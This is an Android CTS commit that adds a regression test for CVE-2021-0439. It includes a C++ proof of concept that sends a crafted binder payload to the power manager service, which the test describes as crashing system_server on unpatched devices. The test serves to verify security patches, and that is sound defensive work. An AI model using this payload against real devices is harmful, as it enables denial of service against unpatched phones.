CTS test for Android Security b/174243830
Bug: 174243830
Bug: 179710085
Test: Ran the new testcase on android-11.0.0_r1 with/without patch
Change-Id: I32e6808f01e14847ecf87954c2c0282a2d5bcac7
(cherry picked from commit d5aebbad63ae595d4646cddc42cbbb8be991f8e4)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0439/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0439/Android.bp
new file mode 100644
index 0000000..5cfd2f5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0439/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0439",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp"
+ ],
+ shared_libs : [
+ "libutils",
+ "libbinder",
+ ],
+ cflags: [
+ "-DDO_NOT_CHECK_MANUAL_BINDER_INTERFACES",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0439/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0439/poc.cpp
new file mode 100644
index 0000000..65cab13
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0439/poc.cpp
@@ -0,0 +1,49 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+
+using namespace android;
+
+int main() {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("power"));
+ if (!binder) {
+ return EXIT_FAILURE;
+ }
+ Parcel data, result;
+ data.writeInterfaceToken(String16("android.os.IPowerManager"));
+ char d[] = {static_cast<char>(0xc9),
+ static_cast<char>(0xa4),
+ 0x10,
+ static_cast<char>(0xd4),
+ 0x00,
+ 0x00,
+ 0x00,
+ 0x00,
+ 0x00,
+ 0x27,
+ 0x00,
+ 0x5a,
+ 0x00,
+ 0x00,
+ 0x00,
+ 0x00};
+ data.write(d, sizeof(d));
+ binder->transact(6, data, &result);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
new file mode 100644
index 0000000..25802a0
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0439 extends SecurityTestCase {
+
+ /**
+ * b/174243830
+ * Vulnerability Behaviour: SIGSEGV in system_server
+ */
+ @SecurityTest(minPatchLevel = "2021-04")
+ @Test
+ public void testPocCVE_2021_0439() throws Exception {
+ String processPatternStrings[] = {"system_server"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0439", null, getDevice(),
+ processPatternStrings);
+ }
+}
